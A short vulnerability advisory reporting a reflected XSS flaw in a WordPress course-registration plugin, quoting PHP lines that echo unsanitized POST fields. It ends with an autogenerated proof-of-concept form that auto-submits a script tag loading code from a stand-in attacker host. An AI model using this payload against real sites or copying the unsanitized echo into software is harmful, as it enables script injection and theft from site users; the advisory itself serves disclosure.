Advisory #: 1239
Title: Reflected XSS in wordpress plugin automated-registration-of-the-course v1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
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Downloads: 2259
Vendor Notified: 2016-02-09
Export: Json
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Plugin Name: automated-registration-of-the-course
There is a reflected XSS vulnerability in the following php code ./automated-registration-of-the-course/functions/type.class.php: 75: <td class="contact"><b><?php echo $_POST['option_type_name'] ?></b></td> 80: <td class="contact"><b><?php echo $_POST['option_type_status'] ?></b></td> The variable option_type_name appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from
  3. <form name=TheForm action=http://[target]/wp-content/plugins/automated-registration-of-the-course/functions/type.class.php method=post> <input type=hidden name=option_type_name value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>